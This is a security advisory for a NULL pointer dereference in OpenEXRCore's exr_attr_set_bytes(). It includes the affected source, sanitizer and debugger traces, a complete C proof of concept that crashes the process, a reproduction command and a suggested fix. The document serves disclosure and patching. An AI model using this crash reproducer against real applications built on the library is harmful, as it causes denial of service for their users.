GHSA-xx72-f24p-cf6r on CTRL-OS 26.05
Aliases: GHSA-xx72-f24p-cf6r
Packages: openexr
Status: Plausible
Advisory Information
Summary
OpenEXRCore has a NULL pointer dereference in
exr_attr_set_bytes()when a caller supplieshint_length > 0withtype_hint == NULL.The public setter validates the top-level
exr_attr_bytes_t *value, but it does not validate thattype_hintis non-NULL when the hint length is positive.exr_attr_bytes_create()allocates a destination type-hint buffer and then copies from the caller-providedtype_hintpointer.This is reachable through the public OpenEXRCore C API and causes a deterministic crash / denial of service. The API is present in
v3.4.12and currentmain; it was not present in the checkedv3.2.9orv3.3.11trees.Details
Affected code:
src/lib/OpenEXRCore/part_attr.c src/lib/OpenEXRCore/bytes.cThe public setter checks the top-level
valpointer but passes the nestedtype_hintpointer through unchecked:exr_result_t exr_attr_set_bytes ( exr_context_t ctxt, int part_index, const char* name, const exr_attr_bytes_t* val) { ... if (!val) return EXR_UNLOCK_AND_RETURN (ctxt->print_error (...)); ... rv = exr_attr_bytes_create ( ctxt, attr->bytes, val->hint_length, val->size, val->type_hint, val->data); }Location on tested
main:src/lib/OpenEXRCore/part_attr.c:1274-1367The helper allocates destination storage for the hint and then copies from the caller-provided source pointer:
exr_result_t exr_attr_bytes_create ( exr_context_t ctxt, exr_attr_bytes_t* u, uint32_t h, size_t b, const void* t, const void* d) { exr_result_t rv = exr_attr_bytes_init (ctxt, u, h, b); if (rv == EXR_ERR_SUCCESS) { if (d && u->data) memcpy ((void*) u->data, d, b); if (d && u->type_hint) memcpy ((void*) u->type_hint, t, h); } return rv; }Location on tested
main:src/lib/OpenEXRCore/bytes.c:70-87Triggering state from the PoC:
bytes.size = 1 bytes.data = &data bytes.hint_length = 1 bytes.type_hint = NULLBecause
datais non-NULL andhint_lengthis positive,exr_attr_bytes_init()createsu->type_hint, thenexr_attr_bytes_create()calls:memcpy(u->type_hint, NULL, 1);Observed ASAN/UBSAN output on latest
maincommitb25f9dc9af78d662eb45969e9e1cd395082d1f13:src/lib/OpenEXRCore/bytes.c:83:62: runtime error: null pointer passed as argument 2, which is declared to never be null #0 exr_attr_bytes_create src/lib/OpenEXRCore/bytes.c:83:32 #1 exr_attr_set_bytes src/lib/OpenEXRCore/part_attr.c #2 main afl-findings/poc/poc_core_bytes_null_type_hint.c:42:12Observed GDB stack on the same commit with UBSAN recovery enabled:
Program received signal SIGSEGV, Segmentation fault. __memcpy_avx_unaligned_erms_rtm() #0 __memcpy_avx_unaligned_erms_rtm() #1 __asan_memcpy() #2 exr_attr_bytes_create( ctxt=0x516000000080, u=<optimized out>, h=1, b=1, t=0x0, d=0x7ffff52000e0) at src/lib/OpenEXRCore/bytes.c:83 #3 exr_attr_set_bytes(...) at src/lib/OpenEXRCore/part_attr.c:1364 #4 main() at afl-findings/poc/poc_core_bytes_null_type_hint.c:42Version scope from source inspection:
v3.2.9: exr_attr_set_bytes() absent v3.3.11: exr_attr_set_bytes() absent v3.4.12: vulnerable API present main: vulnerable API presentPoC
Minimal C reproducer:
#include <openexr.h> #include <stdint.h> #include <stdio.h> #include <unistd.h> static void ignore_error (exr_const_context_t ctxt, exr_result_t code, const char* msg) { (void) ctxt; (void) code; (void) msg; } int main (void) { exr_context_t ctxt = NULL; exr_context_initializer_t init = EXR_DEFAULT_CONTEXT_INITIALIZER; int part = -1; const char* path = "/tmp/openexr_core_bytes_null_type_hint.exr"; uint8_t data = 0x41; init.error_handler_fn = ignore_error; if (exr_start_write (&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &init) != EXR_ERR_SUCCESS) return 1; if (exr_add_part (ctxt, "p", EXR_STORAGE_SCANLINE, &part) != EXR_ERR_SUCCESS) return 1; exr_attr_bytes_t bytes; bytes.size = 1; bytes.data = &data; bytes.hint_length = 1; bytes.type_hint = NULL; (void) exr_attr_set_bytes (ctxt, part, "badBytes", &bytes); (void) exr_finish (&ctxt); unlink (path); return 0; }Reproduction command on the latest-main validation build:
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1 \ UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1:print_stacktrace=1 \ /root/openexr_latest_check/openexr-main/latest-check/bin/poc_core_bytes_null_type_hintExpected result:
runtime error: null pointer passed as argument 2 SUMMARY: UndefinedBehaviorSanitizer: undefined-behaviorWith UBSAN recovery enabled, the same PoC continues to the actual crash:
ERROR: AddressSanitizer: SEGV SUMMARY: AddressSanitizer: SEGV in __memcpy_avx_unaligned_erms_rtmSaved evidence:
evidence/afl-findings/poc/poc_core_bytes_null_type_hint.c evidence/afl-findings/poc/poc_core_bytes_null_type_hint.san.out evidence/afl-findings/poc/poc_core_bytes_null_type_hint.recover.out evidence/latest-main-check/logs/poc_core_bytes_null_type_hint.run.out evidence/latest-main-check/logs/poc_core_bytes_null_type_hint.gdb_latest_main.txtImpact
This is a public C API NULL pointer dereference / crash in OpenEXRCore.
Applications that call
exr_attr_set_bytes()with untrusted or insufficiently validated bytes attribute data can be crashed byhint_length > 0together withtype_hint == NULL.Confirmed impact:
availability loss process crash public C API denial of serviceNot confirmed:
remote code execution information disclosure memory corruption beyond the NULL-source crash direct crafted .exr file trigger through the standard reader pathSuggested severity:
ModerateSuggested CWE:
CWE-476: NULL Pointer Dereference CWE-20: Improper Input ValidationSuggested fix:
Reject
hint_length > 0 && type_hint == NULLbefore callingexr_attr_bytes_create()or copying the type hint.
Updates
2026-07-10 18:49 CEST
Metadata changes:
- Status for package
openexr: “Plausible”
2026-07-07 22:43 CEST
Metadata changes:
- Status for package
openexr: “New”
(Amended on: 2026-07-10 18:46 CEST)